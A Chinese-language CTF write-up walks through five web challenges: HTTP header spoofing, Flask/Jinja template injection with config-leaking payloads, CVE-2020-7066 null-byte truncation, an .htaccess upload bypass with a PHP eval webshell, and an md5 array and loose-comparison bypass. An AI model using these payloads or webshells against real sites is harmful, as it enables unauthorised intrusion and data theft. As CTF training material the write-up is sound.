[BJDCTF 2nd]假猪套天下第一

分析

打开之后是个登陆界面,还以为是一个SQL注入,尝试了一下万能密码,发现进去了是个欢迎界面

没办法了,用dirsearch扫一下目录
avatar

发现了/.DS_Store文件泄露

直接URL访问得到了DS_Store文件,用dsstore工具利用一下
avatar
发现了几个PHP文件和一些CSS

profile.php就是一个欢迎界面,index.php就是登录

所以访问一下L0g1n.php

提示了

1
Sorry, this site will be available after totally 99 years!

可以看到基本上考的是信息的伪造

知识点

信息伪造是比较常规的一种考法了

地址伪造:

1
X-Forwarded-For

代理地址伪造:
1
client-ip

网站伪造:

1
Referer

浏览器伪造:
1
User-Agent

日期伪造:

1
If-Unmodified-Since

代理服务器伪造:

1
Via

邮箱伪造:

1
From

测试过程

bp抓包,把时间后面加上好多0,大于99年即可
avatar

得到提示要本地访问
使用X-Forwarded-For:127.0.0.1

结果发现被ban掉了,所以用client_ip试试

1
client-ip:127.0.0.1

又说要从gem-love.com访问,所以就伪造

1
Referer:gem-love.com

得到提示要从Commodo 64访问,不知道是什么,百度了一下,发现有一个手提电脑叫Commodore
试了一下
1
User-Agent:Commodore 64

还要邮箱伪造
1
From:root@gem-love.com

看到proxy,代理服务器伪造
1
Via:y1ng.vip

最后得到一串base64,解码得到flag

[WesternCTF2018]shrine

分析

打开就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)



import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

审计了一下,使用了flask框架,还用了os

看到index()中有一个 open(__file__).read()

接着看shrine,发现了用正则和replace过滤掉了一些东西

不知道什么操作,去看了一下WP,发现是之前学到过的模板注入

知识点

模板注入在之前地fake google就做过,基本上了解啦

这里涉及两个函数

1
2
3
4
5
url_for
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问

get_flashed_messages() 顾名思义,意思大概就是取值

测试过程

访问/shrine

先验证有没有模板注入

1
/shrine/{{2+2}}

运行结果
1
4

验证了有模板注入

payload

1
2
3
4
5
/shrine/{{url_for.__globals__['current_app'].config}}



shrine/{{get_flashed_messages.__globals__['current_app'].config}}

得到flag

这个地方,想用之前的模板注入

1
{{"".__globals__}}

但是是空的

()又被ban了,所以没有办法正常回显

之后又用这个url_for和get_flashed_messages去尝试了一下之前的模板注入,发现完全可行,这里记录一下,学到了学到了

[GKCTF2020]cve版签到

看提示是一个cve-2020-7066

百度一下,看到这篇文章
https://blog.csdn.net/weixin_45485719/article/details/106432960

知识点

在PHP7.3版本中使用get_headers()会截断URL中空字符后的内容

1
2
3
4
5
6
7
8
9
10
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);

结果

1
headers from http://localhost

测试过程

点击连接,发现出现了?url=http://www.ctfhub.com

F12查看一下,在Header中得到提示
Flag in localhost

按照刚才文章中的方法,使用%00截断

构造payload

1
?url=http://127.0.0.1%00www.ctfhub.com

又得到一个提示,Host must be end with ‘123’

修改一下

1
?url=http://127.0.0.123%00www.ctfhub.com

得到flag

[MRCTF2020]你传你🐎呢

打开是个上传界面,先上传一个PHP,被ban了很正常,修改Content-type发现没有什么用,修改PHP后缀名也没有用

PHP花式后缀

1
2
3
4
5
6
php3
php4
php5
phtml
phps
phpt

查一下WP

发现是上传.htaccess文件来解析图片🐎

知识点

.htaccess文件

百度得到的意思解析是

1
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

就是apache服务器的配置文件

接着又看到了.htaccess文件上传的文章
https://www.jianshu.com/p/c674904a711e

常见姿势一

1
2
3
4
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "sniperoj">
SetHandler application/x-httpd-php
</FilesMatch>
1
2
// sniperoj
<?php eval($_GET['c']);?>

常见姿势二

1
AddType application/x-httpd-php .jpg
1
2
// filename.jpg
<?php eval($_GET['c']);?>

常见姿势三

1
2
3
4
5
6
7
8
9
# 自解析的 .htaccess
<Files "\.htaccess">
Allow from all
</Files>
<FilesMatch "\.htaccess">
SetHandler application/x-httpd-php
# <?php eval($_GET[c]);?>
</FilesMatch>
# 不过这种方式测试并没有成功... 暂时不清楚原因

测试过程

上传.htaccess文件,但是这里由于Content-Type只接受image/jpeg
avatar

接着上传51nd0re1.jpg的图片马就行
avatar

由于上传了.htaccess文件,这个图片马就会被正常解析,直接访问提供的地址

1
upload/db3e8839bdd7ac63daec00365c554da2/51nd0re1.jpg

蚁剑连接得到flag

[MRCTF2020]Ez_bypass

打开F12看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

看第一个if就是考虑md5碰撞

1
?id=QNKCDZO&gg=s878926199a

但是发现不行,所以使用数组
1
?id[]=1&gg[]=2

接下来是POST请求,弱类型比较并且要求passwd不能为数字,那就加字符1234567abc,这就变成字符串了

avatar

得到flag